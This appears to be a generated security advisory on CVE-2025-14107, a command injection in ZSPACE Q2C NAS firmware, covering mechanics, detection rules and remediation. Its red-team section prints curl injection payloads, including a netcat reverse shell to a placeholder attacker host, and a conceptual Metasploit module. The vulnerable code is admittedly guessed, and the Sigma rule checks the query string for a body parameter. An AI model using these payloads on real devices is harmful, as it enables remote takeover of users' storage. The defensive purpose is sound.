CVE-2025-14107

Executive Summary

CVE-2025-14107 is a critical unauthenticated remote command injection vulnerability in ZSPACE Q2C NAS firmware up to version 1.1.0210050. The flaw resides in the zfilev2_api.SafeStatus function within the /v2/file/safe/status HTTP POST request handler. By manipulating the safe_dir argument, an attacker can inject arbitrary operating system commands, leading to full compromise of the NAS device. A public exploit has been released, increasing the risk of widespread exploitation. No patch is currently available, and the vendor has confirmed the issue with a fix planned.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file system read access.
• Integrity Impact: High (I:H) – Ability to modify files and execute commands.
• Availability Impact: High (A:H) – Can cause denial of service or full system compromise.

Threat Level: Critical. Public exploit availability and no patch make this a high-priority target for ransomware and botnet operators.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the ZSPACE Q2C NAS web interface. The /v2/file/safe/status endpoint accepts a safe_dir parameter that is passed unsanitized to a system shell command. The zfilev2_api.SafeStatus function likely constructs a command like ls -la <safe_dir> or stat <safe_dir> without proper escaping. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Attack Flow:

1. Attacker sends a POST request to /v2/file/safe/status with safe_dir set to a malicious payload.
2. The NAS processes the request and passes the payload to a shell command.
3. The injected command executes with the privileges of the web server (typically root or a high-privilege user).
4. Attacker gains remote code execution, enabling data exfiltration, malware installation, or lateral movement.

Root Cause: Lack of input validation and sanitization on the safe_dir parameter before use in a system command.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess
def SafeStatus(request):
    safe_dir = request.POST.get('safe_dir')
    # Vulnerable: direct concatenation
    cmd = "stat " + safe_dir
    output = subprocess.check_output(cmd, shell=True)
    return output

Patched Code (Conceptual):

import subprocess
import shlex
def SafeStatus(request):
    safe_dir = request.POST.get('safe_dir')
    # Patched: use shlex.quote to escape shell metacharacters
    safe_dir_escaped = shlex.quote(safe_dir)
    cmd = "stat " + safe_dir_escaped
    output = subprocess.check_output(cmd, shell=True)
    return output

Key Difference: The patched version uses shlex.quote() to escape the input, preventing shell injection. Alternatively, using subprocess.run() with a list of arguments (no shell=True) would also mitigate the issue.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target ZSPACE Q2C NAS with firmware <= 1.1.0210050.
• Network access to the NAS web interface (typically port 80 or 443).

Exploit Payload:

# Simple command injection to execute 'id'
curl -X POST http://target/v2/file/safe/status \
  -d "safe_dir=;id;"

Advanced Payload (Reverse Shell):

# Using netcat reverse shell
curl -X POST http://target/v2/file/safe/status \
  -d "safe_dir=;nc -e /bin/sh attacker_ip 4444;"

Metasploit Module (Conceptual):

# Placeholder for a Metasploit module
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'ZSPACE Q2C NAS Command Injection',
      'Description' => 'Exploits command injection in /v2/file/safe/status',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-14107']],
      'DisclosureDate' => '2025-03-01',
      'Payload' => {'BadChars' => "\x00"},
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/v2/file/safe/status',
      'data' => "safe_dir=;#{payload.encoded};"
    })
  end
end

Lab Setup:

1. Download a vulnerable firmware image (if available) or use a physical ZSPACE Q2C NAS.
2. Set up a virtual machine with the firmware (e.g., using QEMU for ARM/MIPS emulation).
3. Ensure the web interface is accessible on the local network.
4. Test the exploit with a simple ping or sleep command to verify execution.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /v2/file/safe/status for unusual safe_dir parameters.
2. Look for shell metacharacters (;, |, &, `, $()) in the safe_dir value.
3. Alert on outbound connections from the NAS to unusual IPs/ports (e.g., reverse shell attempts).
4. Check for unexpected processes spawned by the web server (e.g., bash, nc, python).

Hunting Query (Splunk):

index=web_logs uri="/v2/file/safe/status" method=POST
| rex field=form_data "safe_dir=(?<payload>.*)"
| where match(payload, "[;&|`$()]")
| table _time, src_ip, payload, status

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /v2/file/safe/status with shell metacharacters in the safe_dir parameter.
• Outbound connections from the NAS to external IPs on high ports (e.g., 4444, 1337).
• Unusual DNS queries from the NAS (e.g., to known C2 domains).

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, payload.bin).
• Modified system binaries (e.g., /bin/ls replaced with a backdoor).
• New cron jobs or systemd services added by the attacker.

Process IOCs:

• Processes named bash, nc, python, perl spawned by the web server user.
• High CPU usage from unknown processes.

YARA Rule:

rule CVE_2025_14107_Exploit_Detection {
    meta:
        description = "Detects exploit attempts for CVE-2025-14107"
        author = "Valters IT"
        date = "2025-03-01"
    strings:
        $cmd_inject = /safe_dir=[^&]*[;&|`$()]/
        $exploit_pattern = /POST \/v2\/file\/safe\/status/
    condition:
        $exploit_pattern and $cmd_inject
}

Detection Engineering

YARA Rule

rule CVE_2025_14107_Exploit_Payload {
    meta:
        description = "Detects command injection payloads targeting ZSPACE Q2C NAS"
        author = "Valters IT"
        date = "2025-03-01"
    strings:
        $safe_dir = "safe_dir="
        $shell_chars = /[;&|`$()]/
    condition:
        $safe_dir and #shell_chars > 0
}

Sigma Rule

title: CVE-2025-14107 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /v2/file/safe/status with shell metacharacters
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v2/file/safe/status'
        cs-uri-query|contains: 'safe_dir='
    filter:
        cs-uri-query|re: '^[a-zA-Z0-9_\/\.]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate use of special characters in directory names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14107 ZSPACE Q2C NAS Command Injection Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v2/file/safe/status"; http.client_body; content:"safe_dir="; pcre:"/safe_dir=[^&]*[;&|`$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible (e.g., via web server configuration or firewall rule blocking /v2/file/safe/status).
2. Restrict network access to the NAS web interface to trusted IPs only (e.g., via firewall ACLs).
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Apply the vendor patch as soon as it is released.
• Implement input validation and sanitization for all user-supplied parameters.
• Use parameterized commands or avoid shell execution entirely (e.g., use Python's os.stat() instead of stat command).

Workaround:

• If patching is not possible, consider replacing the NAS with a supported model or implementing a WAF rule to block malicious payloads.

Valters IT Signature:

Report generated by Valters IT DevSecOps Team | CVE-2025-14107 Analysis | 2025-03-01